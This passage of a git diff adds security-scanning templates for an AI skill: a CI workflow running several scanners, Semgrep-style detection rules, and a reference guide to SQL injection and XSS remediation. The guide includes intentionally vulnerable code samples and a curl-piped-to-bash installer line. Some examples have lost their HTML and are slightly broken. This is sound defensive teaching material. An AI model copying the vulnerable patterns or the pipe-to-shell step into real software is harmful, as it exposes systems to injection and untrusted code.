'security-reports' + +jobs: + # Job 1: Static Application Security Testing (SAST) + sast-scan: + name: SAST Security Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history for better analysis + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Run SAST Scanner + run: | + # Example: Using Semgrep for SAST + pip install semgrep + semgrep --config=auto \ + --json \ + --output ${{ env.REPORT_DIR }}/sast-results.json \ + . || true + + # Alternative: Bandit for Python projects + # pip install bandit + # bandit -r . -f json -o ${{ env.REPORT_DIR }}/bandit-results.json + + - name: Process SAST Results + run: | + # Parse results and fail on critical/high severity + python3 -c " + import json + import sys + + with open('${{ env.REPORT_DIR }}/sast-results.json') as f: + results = json.load(f) + + critical = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'ERROR']) + high = len([r for r in results.get('results', []) if r.get('extra', {}).get('severity') == 'WARNING']) + + print(f'Critical findings: {critical}') + print(f'High findings: {high}') + + if critical > 0: + print('❌ Build failed: Critical security issues found') + sys.exit(1) + elif high > 0: + print('⚠️ Warning: High severity issues found') + # Optionally fail on high severity + # sys.exit(1) + else: + print('✅ No critical security issues found') + " + + - name: Upload SAST Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: sast-results + path: ${{ env.REPORT_DIR }}/sast-results.json + retention-days: 30 + + # Job 2: Dependency Vulnerability Scanning + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Scan Python Dependencies + if: hashFiles('requirements.txt') != '' + run: | + pip install safety + safety check \ + --json \ + --output ${{ env.REPORT_DIR }}/safety-results.json \ + || true + + - name: Scan Node Dependencies + if: hashFiles('package.json') != '' + run: | + npm audit --json > ${{ env.REPORT_DIR }}/npm-audit.json || true + + - name: Process Dependency Results + run: | + # Check for critical vulnerabilities + if [ -f "${{ env.REPORT_DIR }}/safety-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/safety-results.json')); print(len([v for v in data.get('vulnerabilities', []) if v.get('severity', '').lower() == 'critical']))") + echo "Critical vulnerabilities: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "❌ Build failed: Critical vulnerabilities in dependencies" + exit 1 + fi + fi + + - name: Upload Dependency Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: dependency-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 3: Secrets Detection + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 # Full history to scan all commits + + - name: Run Gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + GITLEAKS_ENABLE_SUMMARY: true + + - name: Alternative - TruffleHog Scan + if: false # Set to true to enable + run: | + pip install truffleHog + trufflehog --json --regex --entropy=True . \ + > ${{ env.REPORT_DIR }}/trufflehog-results.json || true + + - name: Upload Secrets Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: secrets-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 4: Container Image Scanning + container-scan: + name: Container Image Security Scan + runs-on: ubuntu-latest + if: hashFiles('Dockerfile') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Build Docker Image + run: | + docker build -t app:${{ github.sha }} . + + - name: Run Trivy Scanner + uses: aquasecurity/trivy-action@master + with: + image-ref: app:${{ github.sha }} + format: 'sarif' + output: '${{ env.REPORT_DIR }}/trivy-results.sarif' + severity: 'CRITICAL,HIGH' + + - name: Upload Trivy Results to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: '${{ env.REPORT_DIR }}/trivy-results.sarif' + + - name: Upload Container Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: container-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 5: Infrastructure-as-Code Security Scanning + iac-scan: + name: IaC Security Scan + runs-on: ubuntu-latest + if: hashFiles('**/*.tf', '**/*.yaml', '**/*.yml') != '' + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Checkov + run: | + pip install checkov + checkov -d . \ + --output json \ + --output-file ${{ env.REPORT_DIR }}/checkov-results.json \ + --quiet \ + || true + + - name: Run tfsec (for Terraform) + if: hashFiles('**/*.tf') != '' + run: | + curl -s https://raw.githubusercontent.com/aquasecurity/tfsec/master/scripts/install_linux.sh | bash + tfsec . \ + --format json \ + --out ${{ env.REPORT_DIR }}/tfsec-results.json \ + || true + + - name: Process IaC Results + run: | + # Fail on critical findings + if [ -f "${{ env.REPORT_DIR }}/checkov-results.json" ]; then + critical_count=$(python3 -c "import json; data=json.load(open('${{ env.REPORT_DIR }}/checkov-results.json')); print(data.get('summary', {}).get('failed', 0))") + echo "Failed checks: $critical_count" + if [ "$critical_count" -gt "0" ]; then + echo "⚠️ Warning: IaC security issues found" + # Optionally fail the build + # exit 1 + fi + fi + + - name: Upload IaC Scan Results + if: always() + uses: actions/upload-artifact@v4 + with: + name: iac-scan-results + path: ${{ env.REPORT_DIR }}/ + retention-days: 30 + + # Job 6: Security Report Generation and Notification + security-report: + name: Generate Security Report + runs-on: ubuntu-latest + needs: [sast-scan, dependency-scan, secrets-scan] + if: always() + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Download All Scan Results + uses: actions/download-artifact@v4 + with: + path: all-results/ + + - name: Generate Consolidated Report + run: | + # Consolidate all security scan results + mkdir -p consolidated-report + + cat > consolidated-report/security-summary.md << 'EOF' + # Security Scan Summary + + **Scan Date**: $(date -u +"%Y-%m-%d %H:%M:%S UTC") + **Commit**: ${{ github.sha }} + **Branch**: ${{ github.ref_name }} + + ## Scan Results + + ### SAST Scan + See artifacts: `sast-results` + + ### Dependency Scan + See artifacts: `dependency-scan-results` + + ### Secrets Scan + See artifacts: `secrets-scan-results` + + ### Container Scan + See artifacts: `container-scan-results` + + ### IaC Scan + See artifacts: `iac-scan-results` + + --- + + For detailed results, download scan artifacts from this workflow run. + EOF + + - name: Comment on PR (if applicable) + if: github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + const report = fs.readFileSync('consolidated-report/security-summary.md', 'utf8'); + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: report + }); + + - name: Upload Consolidated Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: consolidated-security-report + path: consolidated-report/ + retention-days: 90 + +# Security Best Practices Demonstrated: +# +# 1. ✅ Minimal permissions (principle of least privilege) +# 2. ✅ Multiple security scan types (defense in depth) +# 3. ✅ Fail-fast on critical findings +# 4. ✅ Secrets detection across full git history +# 5. ✅ Container image scanning before deployment +# 6. ✅ IaC scanning for misconfigurations +# 7. ✅ Artifact retention for compliance audit trail +# 8. ✅ SARIF format for GitHub Security integration +# 9. ✅ Scheduled scans for continuous monitoring +# 10. ✅ PR comments for developer feedback +# +# Compliance Mappings: +# - SOC 2: CC6.1, CC6.6, CC7.2 (Security monitoring and logging) +# - PCI-DSS: 6.2, 6.5 (Secure development practices) +# - NIST: SA-11 (Developer Security Testing) +# - OWASP: Integrated security testing throughout SDLC diff --git a/skills/appsec/dast-ffuf/assets/rule-template.yaml b/skills/appsec/dast-ffuf/assets/rule-template.yaml new file mode 100644 index 0000000..2aebcfe --- /dev/null +++ b/skills/appsec/dast-ffuf/assets/rule-template.yaml @@ -0,0 +1,355 @@ +# Security Rule Template +# +# This template demonstrates how to structure security rules/policies. +# Adapt this template to your specific security tool (Semgrep, OPA, etc.) +# +# Rule Structure Best Practices: +# - Clear rule ID and metadata +# - Severity classification +# - Framework mappings (OWASP, CWE) +# - Remediation guidance +# - Example vulnerable and fixed code + +rules: + # Example Rule 1: SQL Injection Detection + - id: sql-injection-string-concatenation + metadata: + name: "SQL Injection via String Concatenation" + description: "Detects potential SQL injection vulnerabilities from string concatenation in SQL queries" + severity: "HIGH" + category: "security" + subcategory: "injection" + + # Security Framework Mappings + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-89: SQL Injection" + mitre_attack: + - "T1190: Exploit Public-Facing Application" + + # Compliance Standards + compliance: + - "PCI-DSS 6.5.1: Injection flaws" + - "NIST 800-53 SI-10: Information Input Validation" + + # Confidence and Impact + confidence: "HIGH" + likelihood: "HIGH" + impact: "HIGH" + + # References + references: + - "https://owasp.org/www-community/attacks/SQL_Injection" + - "https://cwe.mitre.org/data/definitions/89.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html" + + # Languages this rule applies to + languages: + - python + - javascript + - java + - go + + # Detection Pattern (example using Semgrep-style syntax) + pattern-either: + - pattern: | + cursor.execute($SQL + $VAR) + - pattern: | + cursor.execute(f"... {$VAR} ...") + - pattern: | + cursor.execute("..." + $VAR + "...") + + # What to report when found + message: | + Potential SQL injection vulnerability detected. SQL query is constructed using + string concatenation or f-strings with user input. This allows attackers to + inject malicious SQL code. + + Use parameterized queries instead: + - Python: cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + - JavaScript: db.query("SELECT * FROM users WHERE id = $1", [userId]) + + See: https://owasp.org/www-community/attacks/SQL_Injection + + # Suggested fix (auto-fix if supported) + fix: | + Use parameterized queries with placeholders + + # Example vulnerable code + examples: + - vulnerable: | + # Vulnerable: String concatenation + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = " + user_id + cursor.execute(query) + + - fixed: | + # Fixed: Parameterized query + user_id = request.GET['id'] + query = "SELECT * FROM users WHERE id = ?" + cursor.execute(query, (user_id,)) + + # Example Rule 2: Hardcoded Secrets Detection + - id: hardcoded-secret-credential + metadata: + name: "Hardcoded Secret or Credential" + description: "Detects hardcoded secrets, API keys, passwords, or tokens in source code" + severity: "CRITICAL" + category: "security" + subcategory: "secrets" + + owasp: + - "A07:2021 - Identification and Authentication Failures" + cwe: + - "CWE-798: Use of Hard-coded Credentials" + - "CWE-259: Use of Hard-coded Password" + + compliance: + - "PCI-DSS 8.2.1: Use of strong cryptography" + - "SOC 2 CC6.1: Logical access controls" + - "GDPR Article 32: Security of processing" + + confidence: "MEDIUM" + likelihood: "HIGH" + impact: "CRITICAL" + + references: + - "https://cwe.mitre.org/data/definitions/798.html" + - "https://owasp.org/www-community/vulnerabilities/Use_of_hard-coded_password" + + languages: + - python + - javascript + - java + - go + - ruby + + pattern-either: + - pattern: | + password = "..." + - pattern: | + api_key = "..." + - pattern: | + secret = "..." + - pattern: | + token = "..." + + pattern-not: | + $VAR = "" + + message: | + Potential hardcoded secret detected. Hardcoding credentials in source code + is a critical security vulnerability that can lead to unauthorized access + if the code is exposed. + + Use environment variables or a secrets management system instead: + - Python: os.environ.get('API_KEY') + - Node.js: process.env.API_KEY + - Secrets Manager: AWS Secrets Manager, HashiCorp Vault, etc. + + See: https://cwe.mitre.org/data/definitions/798.html + + examples: + - vulnerable: | + # Vulnerable: Hardcoded API key + api_key = "sk-1234567890abcdef" + api.authenticate(api_key) + + - fixed: | + # Fixed: Environment variable + import os + api_key = os.environ.get('API_KEY') + if not api_key: + raise ValueError("API_KEY environment variable not set") + api.authenticate(api_key) + + # Example Rule 3: XSS via Unsafe HTML Rendering + - id: xss-unsafe-html-rendering + metadata: + name: "Cross-Site Scripting (XSS) via Unsafe HTML" + description: "Detects unsafe HTML rendering that could lead to XSS vulnerabilities" + severity: "HIGH" + category: "security" + subcategory: "xss" + + owasp: + - "A03:2021 - Injection" + cwe: + - "CWE-79: Cross-site Scripting (XSS)" + - "CWE-80: Improper Neutralization of Script-Related HTML Tags" + + compliance: + - "PCI-DSS 6.5.7: Cross-site scripting" + - "NIST 800-53 SI-10: Information Input Validation" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://owasp.org/www-community/attacks/xss/" + - "https://cwe.mitre.org/data/definitions/79.html" + - "https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html" + + languages: + - javascript + - typescript + - jsx + - tsx + + pattern-either: + - pattern: | + dangerouslySetInnerHTML={{__html: $VAR}} + - pattern: | + innerHTML = $VAR + + message: | + Potential XSS vulnerability detected. Setting HTML content directly from + user input without sanitization can allow attackers to inject malicious + JavaScript code. + + Use one of these safe alternatives: + - React: Use {userInput} for automatic escaping + - DOMPurify: const clean = DOMPurify.sanitize(dirty); + - Framework-specific sanitizers + + See: https://owasp.org/www-community/attacks/xss/ + + examples: + - vulnerable: | + // Vulnerable: Unsanitized HTML + function UserComment({ comment }) { + return
; + } + + - fixed: | + // Fixed: Sanitized with DOMPurify + import DOMPurify from 'dompurify'; + + function UserComment({ comment }) { + const sanitized = DOMPurify.sanitize(comment); + return
; + } + + # Example Rule 4: Insecure Cryptography + - id: weak-cryptographic-algorithm + metadata: + name: "Weak Cryptographic Algorithm" + description: "Detects use of weak or deprecated cryptographic algorithms" + severity: "HIGH" + category: "security" + subcategory: "cryptography" + + owasp: + - "A02:2021 - Cryptographic Failures" + cwe: + - "CWE-327: Use of a Broken or Risky Cryptographic Algorithm" + - "CWE-326: Inadequate Encryption Strength" + + compliance: + - "PCI-DSS 4.1: Use strong cryptography" + - "NIST 800-53 SC-13: Cryptographic Protection" + - "GDPR Article 32: Security of processing" + + confidence: "HIGH" + likelihood: "MEDIUM" + impact: "HIGH" + + references: + - "https://cwe.mitre.org/data/definitions/327.html" + - "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/" + + languages: + - python + - javascript + - java + + pattern-either: + - pattern: | + hashlib.md5(...) + - pattern: | + hashlib.sha1(...) + - pattern: | + crypto.createHash('md5') + - pattern: | + crypto.createHash('sha1') + + message: | + Weak cryptographic algorithm detected (MD5 or SHA1). These algorithms are + considered cryptographically broken and should not be used for security purposes. + + Use strong alternatives: + - For hashing: SHA-256, SHA-384, or SHA-512 + - For password hashing: bcrypt, argon2, or PBKDF2 + - Python: hashlib.sha256() + - Node.js: crypto.createHash('sha256') + + See: https://cwe.mitre.org/data/definitions/327.html + + examples: + - vulnerable: | + # Vulnerable: MD5 hash + import hashlib + hash_value = hashlib.md5(data).hexdigest() + + - fixed: | + # Fixed: SHA-256 hash + import hashlib + hash_value = hashlib.sha256(data).hexdigest() + +# Rule Configuration +configuration: + # Global settings + enabled: true + severity_threshold: "MEDIUM" # Report findings at MEDIUM severity and above + + # Performance tuning + max_file_size_kb: 1024 + exclude_patterns: + - "test/*" + - "tests/*" + - "node_modules/*" + - "vendor/*" + - "*.min.js" + + # False positive reduction + confidence_threshold: "MEDIUM" # Only report findings with MEDIUM confidence or higher + +# Rule Metadata Schema +# This section documents the expected structure for rules +metadata_schema: + required: + - id: "Unique identifier for the rule (kebab-case)" + - name: "Human-readable rule name" + - description: "What the rule detects" + - severity: "CRITICAL | HIGH | MEDIUM | LOW | INFO" + - category: "security | best-practice | performance" + + optional: + - subcategory: "Specific type (injection, xss, secrets, etc.)" + - owasp: "OWASP Top 10 mappings" + - cwe: "CWE identifier(s)" + - mitre_attack: "MITRE ATT&CK technique(s)" + - compliance: "Compliance standard references" + - confidence: "Detection confidence level" + - likelihood: "Likelihood of exploitation" + - impact: "Potential impact if exploited" + - references: "External documentation links" + +# Usage Instructions: +# +# 1. Copy this template when creating new security rules +# 2. Update metadata fields with appropriate framework mappings +# 3. Customize detection patterns for your tool (Semgrep, OPA, etc.) +# 4. Provide clear remediation guidance in the message field +# 5. Include both vulnerable and fixed code examples +# 6. Test rules on real codebases before deployment +# +# Best Practices: +# - Map to multiple frameworks (OWASP, CWE, MITRE ATT&CK) +# - Include compliance standard references +# - Provide actionable remediation guidance +# - Show code examples (vulnerable vs. fixed) +# - Tune confidence levels to reduce false positives +# - Exclude test directories to reduce noise diff --git a/skills/appsec/dast-ffuf/references/EXAMPLE.md b/skills/appsec/dast-ffuf/references/EXAMPLE.md new file mode 100644 index 0000000..c317b39 --- /dev/null +++ b/skills/appsec/dast-ffuf/references/EXAMPLE.md @@ -0,0 +1,550 @@ +# Reference Document Template + +This file demonstrates how to structure detailed reference material that Claude loads on-demand. + +**When to use this reference**: Include a clear statement about when Claude should consult this document. +For example: "Consult this reference when analyzing Python code for security vulnerabilities and needing detailed remediation patterns." + +**Document purpose**: Briefly explain what this reference provides that's not in SKILL.md. + +--- + +## Table of Contents + +**For documents >100 lines, always include a table of contents** to help Claude navigate quickly. + +- [When to Use References](#when-to-use-references) +- [Document Organization](#document-organization) +- [Detailed Technical Content](#detailed-technical-content) +- [Security Framework Mappings](#security-framework-mappings) + - [OWASP Top 10](#owasp-top-10) + - [CWE Mappings](#cwe-mappings) + - [MITRE ATT&CK](#mitre-attck) +- [Remediation Patterns](#remediation-patterns) +- [Advanced Configuration](#advanced-configuration) +- [Examples and Code Samples](#examples-and-code-samples) + +--- + +## When to Use References + +**Move content from SKILL.md to references/** when: + +1. **Content exceeds 100 lines** - Keep SKILL.md concise +2. **Framework-specific details** - Detailed OWASP/CWE/MITRE mappings +3. **Advanced user content** - Deep technical details for expert users +4. **Lookup-oriented content** - Rule libraries, configuration matrices, comprehensive lists +5. **Language-specific patterns** - Separate files per language/framework +6. **Historical context** - Old patterns and deprecated approaches + +**Keep in SKILL.md**: +- Core workflows (top 3-5 use cases) +- Decision points and branching logic +- Quick start guidance +- Essential security considerations + +--- + +## Document Organization + +### Structure for Long Documents + +For references >100 lines: + +```markdown +# Title + +**When to use**: Clear trigger statement +**Purpose**: What this provides + +## Table of Contents +- Links to all major sections + +## Quick Reference +- Key facts or commands for fast lookup + +## Detailed Content +- Comprehensive information organized logically + +## Framework Mappings +- OWASP, CWE, MITRE ATT&CK references + +## Examples +- Code samples and patterns +``` + +### Section Naming Conventions + +- Use **imperative** or **declarative** headings +- ✅ "Detecting SQL Injection" not "How to detect SQL Injection" +- ✅ "Common Patterns" not "These are common patterns" +- Make headings **searchable** and **specific** + +--- + +## Detailed Technical Content + +This section demonstrates the type of detailed content that belongs in references rather than SKILL.md. + +### Example: Comprehensive Vulnerability Detection + +#### SQL Injection Detection Patterns + +**Pattern 1: String Concatenation in Queries** + +```python +# Vulnerable pattern +query = "SELECT * FROM users WHERE id = " + user_id +cursor.execute(query) + +# Detection criteria: +# - SQL keyword (SELECT, INSERT, UPDATE, DELETE) +# - String concatenation operator (+, f-string) +# - Variable user input (request params, form data) + +# Severity: HIGH +# CWE: CWE-89 +# OWASP: A03:2021 - Injection +``` + +**Remediation**: +```python +# Fixed: Parameterized query +query = "SELECT * FROM users WHERE id = ?" +cursor.execute(query, (user_id,)) + +# OR using ORM +user = User.objects.get(id=user_id) +``` + +**Pattern 2: Unsafe String Formatting** + +```python +# Vulnerable patterns +query = f"SELECT * FROM users WHERE name = '{username}'" +query = "SELECT * FROM users WHERE name = '%s'" % username +query = "SELECT * FROM users WHERE name = '{}'".format(username) + +# All three patterns are vulnerable to SQL injection +``` + +#### Cross-Site Scripting (XSS) Detection + +**Pattern 1: Unescaped Output in Templates** + +```javascript +// Vulnerable: Direct HTML injection +element.innerHTML = userInput; +document.write(userInput); + +// Vulnerable: React dangerouslySetInnerHTML +
+ +// Detection criteria: +# - Direct DOM manipulation (innerHTML, document.write) +# - React dangerouslySetInnerHTML with user data +# - Template engines with autoescaping disabled + +// Severity: HIGH +// CWE: CWE-79 +// OWASP: A03:2021 - Injection +``` + +**Remediation**: +```javascript +// Fixed: Escaped output +element.textContent = userInput; // Auto-escapes + +// Fixed: Sanitization library +import DOMPurify from 'dompurify'; +const clean = DOMPurify.sanitize(userComment); +
+``` + +--- + +## Security Framework Mappings + +This section provides comprehensive security framework mappings for findings. + +### OWASP Top 10 + +Map security findings to OWASP Top 10 (2021) categories: + +| Category | Title | Common Vulnerabilities | +|----------|-------|----------------------| +| **A01:2021** | Broken Access Control | Authorization bypass, privilege escalation, IDOR | +| **A02:2021** | Cryptographic Failures | Weak crypto, plaintext storage, insecure TLS | +| **A03:2021** | Injection | SQL injection, XSS, command injection, LDAP injection | +| **A04:2021** | Insecure Design | Missing security controls, threat modeling gaps | +| **A05:2021** | Security Misconfiguration | Default configs, verbose errors, unnecessary features | +| **A06:2021** | Vulnerable Components | Outdated libraries, unpatched dependencies | +| **A07:2021** | Auth & Session Failures | Weak passwords, session fixation, missing MFA | +| **A08:2021** | Software & Data Integrity | Unsigned updates, insecure CI/CD, deserialization | +| **A09:2021** | Logging & Monitoring Failures | Insufficient logging, no alerting, log injection | +| **A10:2021** | SSRF | Server-side request forgery, unvalidated redirects | + +**Usage**: When reporting findings, map to primary OWASP category and reference the identifier (e.g., "A03:2021 - Injection"). + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories for precise vulnerability classification: + +#### Injection Vulnerabilities +- **CWE-78**: OS Command Injection +- **CWE-79**: Cross-site Scripting (XSS) +- **CWE-89**: SQL Injection +- **CWE-90**: LDAP Injection +- **CWE-91**: XML Injection +- **CWE-94**: Code Injection + +#### Authentication & Authorization +- **CWE-287**: Improper Authentication +- **CWE-288**: Authentication Bypass Using Alternate Path +- **CWE-290**: Authentication Bypass by Spoofing +- **CWE-294**: Authentication Bypass by Capture-replay +- **CWE-306**: Missing Authentication for Critical Function +- **CWE-307**: Improper Restriction of Excessive Authentication Attempts +- **CWE-352**: Cross-Site Request Forgery (CSRF) + +#### Cryptographic Issues +- **CWE-256**: Plaintext Storage of Password +- **CWE-259**: Use of Hard-coded Password +- **CWE-261**: Weak Encoding for Password +- **CWE-321**: Use of Hard-coded Cryptographic Key +- **CWE-326**: Inadequate Encryption Strength +- **CWE-327**: Use of Broken or Risky Cryptographic Algorithm +- **CWE-329**: Not Using a Random IV with CBC Mode +- **CWE-798**: Use of Hard-coded Credentials + +#### Input Validation +- **CWE-20**: Improper Input Validation +- **CWE-73**: External Control of File Name or Path +- **CWE-434**: Unrestricted Upload of File with Dangerous Type +- **CWE-601**: URL Redirection to Untrusted Site + +#### Sensitive Data Exposure +- **CWE-200**: Information Exposure +- **CWE-209**: Information Exposure Through Error Message +- **CWE-312**: Cleartext Storage of Sensitive Information +- **CWE-319**: Cleartext Transmission of Sensitive Information +- **CWE-532**: Information Exposure Through Log Files + +**Usage**: Include CWE identifier in all vulnerability reports for standardized classification. + +### MITRE ATT&CK + +Reference relevant tactics and techniques for threat context: + +#### Initial Access (TA0001) +- **T1190**: Exploit Public-Facing Application +- **T1133**: External Remote Services +- **T1078**: Valid Accounts + +#### Execution (TA0002) +- **T1059**: Command and Scripting Interpreter +- **T1203**: Exploitation for Client Execution + +#### Persistence (TA0003) +- **T1098**: Account Manipulation +- **T1136**: Create Account +- **T1505**: Server Software Component + +#### Privilege Escalation (TA0004) +- **T1068**: Exploitation for Privilege Escalation +- **T1548**: Abuse Elevation Control Mechanism + +#### Defense Evasion (TA0005) +- **T1027**: Obfuscated Files or Information +- **T1140**: Deobfuscate/Decode Files or Information +- **T1562**: Impair Defenses + +#### Credential Access (TA0006) +- **T1110**: Brute Force +- **T1555**: Credentials from Password Stores +- **T1552**: Unsecured Credentials + +#### Discovery (TA0007) +- **T1083**: File and Directory Discovery +- **T1046**: Network Service Scanning + +#### Collection (TA0009) +- **T1005**: Data from Local System +- **T1114**: Email Collection + +#### Exfiltration (TA0010) +- **T1041**: Exfiltration Over C2 Channel +- **T1567**: Exfiltration Over Web Service + +**Usage**: When identifying vulnerabilities, consider which ATT&CK techniques an attacker could use to exploit them. + +--- + +## Remediation Patterns + +This section provides specific remediation guidance for common vulnerability types. + +### SQL Injection Remediation + +**Step 1: Identify vulnerable queries** +- Search for string concatenation in SQL queries +- Check for f-strings or format() with SQL keywords +- Review all database interaction code + +**Step 2: Apply parameterized queries** + +```python +# Python with sqlite3 +cursor.execute("SELECT * FROM users WHERE id = ?", (user_id,)) + +# Python with psycopg2 (PostgreSQL) +cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + +# Python with SQLAlchemy (ORM) +from sqlalchemy import text +result = session.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id}) +``` + +**Step 3: Validate and sanitize input** (defense in depth) +```python +import re + +# Validate input format +if not re.match(r'^\d+$', user_id): + raise ValueError("Invalid user ID format") + +# Use ORM query builders +user = User.query.filter_by(id=user_id).first() +``` + +**Step 4: Implement least privilege** +- Database user should have minimum required permissions +- Use read-only accounts for SELECT operations +- Never use admin/root accounts for application queries + +### XSS Remediation + +**Step 1: Enable auto-escaping** +- Most modern frameworks escape by default +- Ensure auto-escaping is not disabled + +**Step 2: Use framework-specific safe methods** + +```javascript +// React: Use JSX (auto-escapes) +
{userInput}
+ +// Vue: Use template syntax (auto-escapes) +
{{ userInput }}
+ +// Angular: Use property binding (auto-escapes) +
+``` + +**Step 3: Sanitize when HTML is required** + +```javascript +import DOMPurify from 'dompurify'; + +// Sanitize HTML content +const clean = DOMPurify.sanitize(userHTML, { + ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'p'], + ALLOWED_ATTR: [] +}); +``` + +**Step 4: Content Security Policy (CSP)** + +```html + +Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}' +``` + +--- + +## Advanced Configuration + +This section contains detailed configuration options and tuning parameters. + +### Example: SAST Tool Configuration + +```yaml +# Advanced security scanner configuration +scanner: + # Severity threshold + severity_threshold: MEDIUM + + # Rule configuration + rules: + enabled: + - sql-injection + - xss + - hardcoded-secrets + disabled: + - informational-only + + # False positive reduction + confidence_threshold: HIGH + exclude_patterns: + - "*/test/*" + - "*/tests/*" + - "*/node_modules/*" + - "*.test.js" + - "*.spec.ts" + + # Performance tuning + max_file_size_kb: 2048 + timeout_seconds: 300 + parallel_jobs: 4 + + # Output configuration + output_format: json + include_code_snippets: true + max_snippet_lines: 10 +``` + +--- + +## Examples and Code Samples + +This section provides comprehensive code examples for various scenarios. + +### Example 1: Secure API Authentication + +```python +# Secure API key handling +import os +from functools import wraps +from flask import Flask, request, jsonify + +app = Flask(__name__) + +# Load API key from environment (never hardcode) +VALID_API_KEY = os.environ.get('API_KEY') +if not VALID_API_KEY: + raise ValueError("API_KEY environment variable not set") + +def require_api_key(f): + @wraps(f) + def decorated_function(*args, **kwargs): + api_key = request.headers.get('X-API-Key') + + if not api_key: + return jsonify({'error': 'API key required'}), 401 + + # Constant-time comparison to prevent timing attacks + import hmac + if not hmac.compare_digest(api_key, VALID_API_KEY): + return jsonify({'error': 'Invalid API key'}), 403 + + return f(*args, **kwargs) + return decorated_function + +@app.route('/api/secure-endpoint') +@require_api_key +def secure_endpoint(): + return jsonify({'message': 'Access granted'}) +``` + +### Example 2: Secure Password Hashing + +```python +# Secure password storage with bcrypt +import bcrypt + +def hash_password(password: str) -> str: + """Hash a password using bcrypt.""" + # Generate salt and hash password + salt = bcrypt.gensalt(rounds=12) # Cost factor: 12 (industry standard) + hashed = bcrypt.hashpw(password.encode('utf-8'), salt) + return hashed.decode('utf-8') + +def verify_password(password: str, hashed: str) -> bool: + """Verify a password against a hash.""" + return bcrypt.checkpw( + password.encode('utf-8'), + hashed.encode('utf-8') + ) + +# Usage +stored_hash = hash_password("user_password") +is_valid = verify_password("user_password", stored_hash) # True +``` + +### Example 3: Secure File Upload + +```python +# Secure file upload with validation +import os +import magic +from werkzeug.utils import secure_filename + +ALLOWED_EXTENSIONS = {'pdf', 'png', 'jpg', 'jpeg'} +ALLOWED_MIME_TYPES = { + 'application/pdf', + 'image/png', + 'image/jpeg' +} +MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB + +def is_allowed_file(filename: str, file_content: bytes) -> bool: + """Validate file extension and MIME type.""" + # Check extension + if '.' not in filename: + return False + + ext = filename.rsplit('.', 1)[1].lower() + if ext not in ALLOWED_EXTENSIONS: + return False + + # Check MIME type (prevent extension spoofing) + mime = magic.from_buffer(file_content, mime=True) + if mime not in ALLOWED_MIME_TYPES: + return False + + return True + +def handle_upload(file): + """Securely handle file upload.""" + # Check file size + file.seek(0, os.SEEK_END) + size = file.tell() + file.seek(0) + + if size > MAX_FILE_SIZE: + raise ValueError("File too large") + + # Read content for validation + content = file.read() + file.seek(0) + + # Validate file type + if not is_allowed_file(file.filename, content): + raise ValueError("Invalid file type") + + # Sanitize filename + filename = secure_filename(file.filename) + + # Generate unique filename to prevent overwrite attacks + import uuid + unique_filename = f"{uuid.uuid4()}_{filename}" + + # Save to secure location (outside web root) + upload_path = os.path.join('/secure/uploads', unique_filename) + file.save(upload_path) + + return unique_filename +``` + +--- + +## Best Practices for Reference Documents + +1. **Start with "When to use"** - Help Claude know when to load this reference +2. **Include table of contents** - For documents >100 lines +3. **Use concrete examples** - Code samples with vulnerable and fixed versions +4. **Map to frameworks** - OWASP, CWE, MITRE ATT&CK for context +5. **Provide remediation** - Don't just identify issues, show how to fix them +6. **Organize logically** - Group related content, use clear headings +7. **Keep examples current** - Use modern patterns and current framework versions +8. **Be concise** - Even in references, challenge every sentence diff --git a/skills/appsec/dast-ffuf/references/WORKFLOW_CHECKLIST.md b/skills/appsec/dast-ffuf/references/WORKFLOW_CHECKLIST.md new file mode 100644 index 0000000..eff0234 --- /dev/null +++ b/skills/appsec/dast-ffuf/references/WORKFLOW_CHECKLIST.md @@ -0,0 +1,253 @@ +# Workflow Checklist Template + +This template demonstrates workflow patterns for security operations. Copy and adapt these checklists to your specific skill needs. + +## Pattern 1: Sequential Workflow Checklist + +Use this pattern for operations that must be completed in order, step-by-step. + +### Security Assessment Workflow + +Progress: +[ ] 1. Identify application entry points and attack surface +[ ] 2. Map 